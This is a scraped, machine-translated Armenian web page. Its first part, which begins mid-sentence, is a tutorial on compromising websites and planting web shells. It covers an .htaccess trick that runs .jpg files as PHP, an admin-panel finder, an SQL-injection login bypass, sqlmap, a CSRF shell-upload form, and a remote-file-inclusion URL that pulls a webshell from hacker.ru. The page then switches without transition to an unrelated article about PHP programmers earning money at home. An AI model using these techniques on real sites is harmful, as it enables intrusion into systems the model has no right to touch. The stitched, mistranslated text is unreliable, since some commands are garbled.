հղմանը։ Անհաջողության դեպքում մենք կարող ենք օգտագործել chrome ընդլայնումը <b>կեղծել տվյալները</b>. Այն թույլ է տալիս ընդհատել և փոխել հարցումը, ինչպես ցանկանում եք: Եթե ​​կայքը ստուգում է ֆայլի ընդլայնումը, ապա նախ մենք կարող ենք վերբեռնել <b>.htaccess</b>ֆայլ բովանդակությամբ. <br>AddType հավելված/x-httpd-php .jpg <br>Այս հրամանը կկատարի jpg ֆայլերը որպես php: <br><b>Մանրամասն վիդեո հրահանգներ.</b><br></p><p><span class="imp1oe54JeQ"></span></p><p>Տեսանյութի հրահանգներ <b>կեղծ տվյալների տեղադրում.</b><br></p><p><span class="JA5K4KJ0NCc"></span></p><br><b>Մեթոդ 2</b><br>Օգտագործեք ծրագիրը՝ կայքում ադմինիստրատորի վահանակներ որոնելու համար՝ https://github.com/bdblackhat/admin-panel-finder: Երբ ծրագիրը գտնի ադմինիստրատորի վահանակը, մենք կարող ենք փորձել sql-injection: Կայքի մուտքի և գաղտնաբառի դաշտում մուտքագրում ենք կոդը. <br><p>"կամ "1"="1" ԿԱՄ 1=1/*</p><p>Եթե ​​այն աշխատում է, ապա մենք հասնում ենք ադմինիստրատորի վահանակ և <b>Մենք անցնում ենք 1-ին մեթոդով:</b>Եթե ​​կայքի ադմինիստրատորի վահանակում չկա sql-ներարկում, ապա մենք կարող ենք փորձել վրիպազերծել այն կամ գտնել շահագործման այս CMS-ի համար: <br><b>Մանրամասն վիդեո հրահանգներ.</b><br></p><p><span class="5Kh5gCr_3rc"></span></p><br><b>Մեթոդ 3</b><br>Մեթոդ 3-ում մենք կփնտրենք sql-ներարկում հենց կայքում: Մենք կարող ենք դա անել ձեռքով կամ օգտագործել sqlmap: Ֆորումում կան բավականաչափ թեմաներ, թե ինչպես կարելի է ներարկումներ կատարել, այնպես որ ես կգամ հեռվից: Այսպիսով, այժմ մենք արդեն գտել ենք աղյուսակ ադմինիստրատորի մուտքի և գաղտնաբառով, վերծանել հեշերը, գնացեք ադմինիստրատորի վահանակ և ուրախացեք: Բայց ենթադրենք, որ մենք չկարողացանք վերծանել գաղտնաբառը, և ամեն ինչ սխալ ստացվեց, ապա մենք պետք է ստուգենք մեր օգտվողի արտոնությունները <b>. </b>Մենք ստուգում ենք արտոնությունները և բեռնում մինի-կեղևը: <b>Չգիտես ինչու, երբ ես ուզում եմ տեղադրել կոդը, կայքը ինձ սխալ է տալիս.</b><p><b>Մեթոդ 4</b><br>Մեթոդ 4-ը ներառում է csrf հարձակում: Ստորև բերված կոդում մենք պետք է փոխարինենք <b>http://</b>դեպի մեր թիրախային հղումը: <b>Ընտրեք կեղևը</b>և սեղմեք կոճակը <b>վերբեռնել.</b><br></p><p> <form method="POST" action="http://" enctype="multipart/form-data" > <input type="file" name="Filedata"></center><br> <input type="submit" name="Submit" value="Վերբեռնել"> </form></p><p><span class="FXOjzV5I1Cc"></span></p><br><b>Մեթոդ 5</b><br>Իմացեք ավելին ձեր թիրախի մասին և գտեք շահագործում: Դրա համար շատ հետաքրքիր կայք կա՝ https://www.exploit-db.com: Ոչ ոք չի չեղարկել կայքերի զանգվածային կոտրումը խոցելիության միջոցով, բայց այս մասին արդեն հոդված կա ձևաթղթում։ <p>Կեղևը լցնելու շատ այլ եղանակներ կան, և յուրաքանչյուրի մասին խոսելն անիմաստ է: Եթե ​​ցանկանում եք զբաղվել, ապա տեղադրեք dvwa – սա ծրագիր է, որը նախատեսված է օգնելու անվտանգության մասնագետներին փորձարկել իրենց հմտություններն ու գործիքները իրավական միջավայրում:</p><p><b>Մեթոդ 6 <br><b>Php ներարկում</b>- սա կայքի վրա հարձակման ձև է, երբ հարձակվողը ներարկում է իր PHP կոդը հարձակման ենթարկված PHP հավելվածի մեջ:</b><br>www.site.ru?page=home.html <br>Կատարելով հրամանը՝ մենք կբեռնենք home,html էջը։ Այժմ մենք կփորձենք բեռնել վնասակար պատյան: <br>www.site.ru?page=http:/hacker.ru/webshell.php <br>Դորկ: <b>Inurl:էջ=</b></p><p>Գոյություն ունի նաև արդեն բեռնված պատյան գտնելու միջոց՝ օգտագործելով perl-ը</p> <p> » </p><h1>Ինչպե՞ս կարող է PHP ծրագրավորողը լավ գումար վաստակել տանը:</h1><p>Ամենահաջողակ PHP ծրագրավորողները լավ գումար են վաստակում տնից: Ցանկացած եկամուտի սկզբում դժվարություններ են առաջանում։ Պատահում է, որ դժվարությունները և վաստակելու մեթոդների իմացության բացակայությունը հուսահատեցնում են տանը գումար վաստակելու բոլոր ցանկությունները, իսկ հետո ծրագրավորողները հնարավորություն են փնտրում աշխատել գրասենյակներում, որտեղ ավելի մեծ երաշխիք կա, որ ամեն ամիս գումար կարելի է ստանալ, իսկ մասնագիտական ​​աճը` հնարավոր է.</p><p>Սակայն տնից աշխատելու ունակությունն ավելի շատ դրական կողմեր ​​ունի, քան դեմ:</p><h3>կողմ</h3><p>Դուք կաշխատեք ձեզ համար։ Ոչ ոք ձեզ աշխատանքից չի ազատի, դուք կկարողանաք բաշխել ձեր սեփական գրաֆիկը կամ աշխատել ձեր ուզած ժամին:</p><p>Դուք ինքներդ եք ընտրում ծրագրավորման միջոցով գումար վաստակելու միջոց, որը, նախ, կավելացնի ձեր հետաքրքրությունը աշխատանքի նկատմամբ, և երկրորդ՝ դուք ունեք գործելու մեծ ազատություն։ Պետք չէ աշխատել մի բանի վրա, որը ձեզ դուր չի գալիս: Ավելի շատ հնարավորություններ կան նաև գումար վաստակելու ուղիները համատեղելու համար։</p><h3>Մինուսներ</h3><p>Սկզբում դժվար կլինի, իսկ աշխատանքի համար առաջին գումարը ստանալու համար պետք է մեծ ջանք ու ժամանակ ներդնել։ Իսկ որպեսզի շահույթ լինի, դուք պետք է անընդհատ զարգանաք ու համբերեք և ճիշտ բաշխեք ձեր գրաֆիկը, որպեսզի ժամանակ ունենաք գործը ժամանակին ավարտելու համար։</p><h3>Գումար վաստակել ձեր սցենարներից</h3><p>Ինտերնետում կան բազմաթիվ տարբեր սցենարներ, որոնք մարդիկ կարող են հեշտությամբ ներբեռնել և տեղադրել իրենց կայքում: Դուք կարող եք գրել ձեր սեփական եզակի սցենարը, և կա երկու տարբերակ, թե ինչպես կարող եք գումար վաստակել ձեր սցենարից: Վաճառեք այն կամ տեղադրեք այն ֆայլերի փոխանակման ծառայությունների միջոցով: Կարող եք նաև օգտագործել երկու տարբերակ. Օրինակ՝ թեթև սցենարներ, բայց միևնույն ժամանակ նաև շատ կարևոր է ֆայլերի փոխանակման ծառայությունների միջոցով տեղադրել հենց այն սկրիպտները, որոնք մեծ պահանջարկ կունենան։ Դա անելու համար սցենարները պետք է պահանջված լինեն, որպեսզի մարդիկ ներբեռնեն դրանք իրենց կարիքների համար:</p><p>Մեծ սցենարները կարող են վաճառվել մատչելի գներով: Դուք կարող եք գովազդ տեղադրել ֆորումներում, կամ եթե ունեք ձեր անձնական բլոգը կամ կայքը, տեղադրեք գովազդ սցենարների վաճառքի համար։</p><p>Ամեն դեպքում, անկախ նրանից, թե ինչ տարբերակ եք ընտրում, տեղադրեք սցենարը արխիվում և անպայման ներառեք մանրամասն հրահանգներ և ձեր մասին կոնտակտային տվյալներ: Անպայման աջակցեք, քանի որ ձեզ համար կարևոր է աշխատել ինքներդ ձեզ համար: Ի վերջո, ձեզ պետք է խորհուրդ տալ կամ ներբեռնել ձեր սցենարները: Նրանք պետք է լինեն բարձրորակ: Եթե ​​մարդը ձեզանից օգնություն է խնդրում, քաղաքավարի կերպով բացատրեք նրան սցենարի մասին կամ օգնեք տեղադրել այն: Ձեր սցենարները պետք է մեկնաբանություններ ունենան: Ինչի համար է պատասխանատու յուրաքանչյուր գործառույթ և այլն: Ի վերջո, մարդը հեշտությամբ կարող է շփոթվել ձեր ծածկագրում, որտեղ նշումներ չկան:</p><h3>Սեփական և համատեղ նախագծեր</h3><p>Լավ է ստեղծել ձեր սեփական կայքը՝ հաջողությամբ գումար աշխատելու համար: Ձեր կայքի միջոցով գումար աշխատելու բազմաթիվ հնարավորություններ կան: Եթե ​​լավ գովազդեք այն, կարող եք այնտեղ վաճառվող սցենարներ տեղադրել: Համատեղ նախագծերը կընդլայնեն ձեր հնարավորությունները, ինչը լավ է տնային ծրագրավորման հաջողության համար: Ուստի գործընկերներ փնտրեք կամ մի մերժեք միասին նախագիծ ստեղծելու առաջարկները։</p><p>Դուք պետք է համոզվեք, որ ավելացնեք առանձնահատկություններ, որոնք ուշադրություն են գրավում ձեր կայքում: Կայքը կարող է ունենալ սովորական, պարզ տեսք, բայց միևնույն ժամանակ՝ իր շրջադարձով: Անձնական կայքը օգնում է ավելացնել հաճախորդներին: Նրանք կտեսնեն, թե ինչպես են աշխատում ձեր սցենարները, եթե դրանք շատ երկար չեն բեռնվում, հետաքրքիր են օգտագործման համար և ամենակարևորը՝ օրիգինալ, ի տարբերություն որևէ այլ բանի: Այդ դեպքում դուք հաջողություն կգտնեք:</p><h3>Շահույթ պատվերներից</h3><p>Դա անելու համար պարզապես գրանցվեք ֆրիլանսերի տարբեր բորսաներում և փնտրեք պատվերներ: Ցուցադրեք ավարտված աշխատանքների ձեր պորտֆոլիոն: Բայց զգույշ եղեք, աշխարհում կան անազնիվ մարդիկ, և որպեսզի դուք չընկնեք խաբեության մեջ, նախ ցույց տվեք ձեր սերվերի վրա գտնվող աշխատանքը (ի դեպ, այս դեպքում ձեզ հարկավոր կլինի vps վարձել http:/ /nkvd.pro/vps/), իսկ հետո եթե քեզ մաս վճարեն, կեսը փոխանցիր իրենց սերվերին, նույնը արիր երկրորդ մասի հետ։ Գումար վաստակելու այս մեթոդը համարվում է շահավետ, բայց կախված է ձեր գիտելիքների և հմտությունների աստիճանից: Դա կախված է նաև ձեր հաճախորդների արձագանքներից: Գումար վաստակելու այս մեթոդում հաջողության հասնելու համար գործը կատարեք ազնվորեն և արդյունավետ: Դուք պետք է կարողանաք շփվել հաճախորդների հետ, հստակ բացատրել, թե ինչ կարող եք և ինչ չեք կարող անել:</p><p>Սա php ծրագրավորողի վաստակի ամբողջ ցանկը չէ, բայց գումար վաստակելու այս մեթոդների շնորհիվ, որոնք գրված են վերևում, դուք արդեն կարող եք գումար վաստակել առանց տնից դուրս գալու: Սկզբնական փուլում սա մեծ ձեռքբերում կլինի։ Գլխավորը դրանով կանգ չառնելն է։ Անընդհատ կատարելագործվեք և ստեղծեք նախագծեր, որոնք ձեզ ոչ միայն լավ եկամուտ կբերեն, այլև հաճույք։</p> <br><b>գրողի մասին</b> <br><p>Ինչպե՞ս կարող է PHP ծրագրավորողը լավ գումար վաստակել տանը:</p> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> <script>document.write("<img style='display:none;' src='//counter.yadro.ru/hit;artfast_after?t44.1;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+";h"+escape(document.title.substring(0,150))+ ";"+Math.random()+ "border='0' width='1' height='1' loading=lazy loading=lazy>");</script> </div> </article> <div class="related_block"> <div class="title">Առնչվող հրապարակումներ</div> <ul class="recent_ul"> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/d356145b8d32a4e43aa5ed76e39606a7.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/hy/vstupit-v-gruppu-po-zarabotku-deneg-kak-zarabotat.html">Ինչպես գումար վաստակել VKontakte-ում ձեր էջում և առանց դրա՝ իսկապես աշխատանքային մեթոդներ</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/c140bebb4b361b4583c11c49e770bc39.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/hy/kak-pomenyat-temu-dlya-vkontakte-v-yandeks-brauzere-kak-pomenyat-temu-v-kontakte.html">Ինչպես փոխել թեման VKontakte-ի համար Yandex-ում</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img src="/uploads/40e1db5c5747911f9c43c259f44aeadb.jpg" style="width:230px; height:145px;" / loading=lazy loading=lazy></div> <a href="https://storerarity.ru/hy/nastroika-velokompyutera-na-diametr-koles-26-2-2-podklyuchenie-velokompyutera-kak.html">Հեծանիվ համակարգչի կարգավորում անիվի տրամագծի համար 26 2</a></li> </ul> </div> </div> <aside id="sidebar"> <div class="block"> <nav class="sidebar_menu"> <div class="menu-sidebar_menu-container"> <ul id="menu-sidebar_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/programs/">Ծրագրեր</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/devices/">Սարքեր</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/browsers/">Բրաուզերներ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/reviews/">Կարծիքներ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/reviews/">Կարծիքներ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/setup/">Կարգավորումներ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/torrent/">Հեղեղ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/editors/">Խմբագիրներ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/instagram/">Instagram</a></li> </ul> </div> </nav> </div> <div class="block recent_block"> <div class="title">Վերջին գրառումները</div> <ul class="popular"> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/5e60cc62a5f20ab07a340013922f0d2c.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Աշխարհի ամենափոքր համակարգիչը՝ լուսանկար, նկարագրություն, վարկանիշ Աշխարհի ամենափոքր համակարգիչը" / loading=lazy loading=lazy> <span class="cat">Ծրագրեր</span></div> <a href="https://storerarity.ru/hy/samyi-malenkii-kompyuter-v-mire-foto-opisanie-reiting.html">Աշխարհի ամենափոքր համակարգիչը՝ լուսանկար, նկարագրություն, վարկանիշ Աշխարհի ամենափոքր համակարգիչը</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/cdb555606d94b8ae1d51c87fc743c991.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Ինչպես տեղադրել Yula հավելվածը և գրանցվել" / loading=lazy loading=lazy> <span class="cat">Ծրագրեր</span></div> <a href="https://storerarity.ru/hy/kak-postavit-prilozhenie-yula-zaregistrirovatsya-prilozhenie-yula-ustanovka.html">Ինչպես տեղադրել Yula հավելվածը և գրանցվել</a></li> <li> <div class="img_block"> <div class="overlay"></div> <img width="240" height="145" src="/uploads/af70d4bfa7ecf603e659893b5979f8d6.jpg" class="attachment-popular_thumb size-popular_thumb wp-post-image" alt="Սմարթֆոն Samsung Grand Duos. բնութագրեր, ակնարկներ Samsung galaxy grand duos-ի նկարագրություն" / loading=lazy loading=lazy> <span class="cat">Ծրագրեր</span></div> <a href="https://storerarity.ru/hy/samsung-galaxy-grand-duos-bolshoi-i-moshchnyi-smartfon-samsung-grand-duos-harakteristiki-otzyvy-sam.html">Սմարթֆոն Samsung Grand Duos. բնութագրեր, ակնարկներ Samsung galaxy grand duos-ի նկարագրություն</a></li> </ul> </div> </aside> </div> </div> <div class="clear"></div> <footer id="footer"><div class="wrapper"> <div class="copy">2024 | Համակարգիչներ բոլորի համար - Կարգավորում, տեղադրում, վերականգնում</div> <nav class="header_menu"> <div class="menu-footer_menu-container"> </div> </nav> </div></footer> <div id="toTop"></div> <script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/1/jquery.min.js'></script> <nav class="mobile_menu"> <div class="close_menu"></div> <div class="mob_menu"> <div class="menu-mobile_menu-container"> <ul id="menu-mobile_menu" class="menu"> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/programs/">Ծրագրեր</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/windows/">Windows</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/devices/">Սարքեր</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/browsers/">Բրաուզերներ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/reviews/">Կարծիքներ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/reviews/">Կարծիքներ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/setup/">Կարգավորումներ</a></li> <li id="menu-item-" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-"><a href="https://storerarity.ru/hy/category/torrent/">Հեղեղ</a></li> </ul> </div> </div> </nav> <script type="text/javascript"> <!-- var _acic={dataProvider:10};(function(){var e=document.createElement("script");e.type="text/javascript";e.async=true;e.src="https://www.acint.net/aci.js";var t=document.getElementsByTagName("script")[0];t.parentNode.insertBefore(e,t)})() //--> </script><br> <br> </body> </html>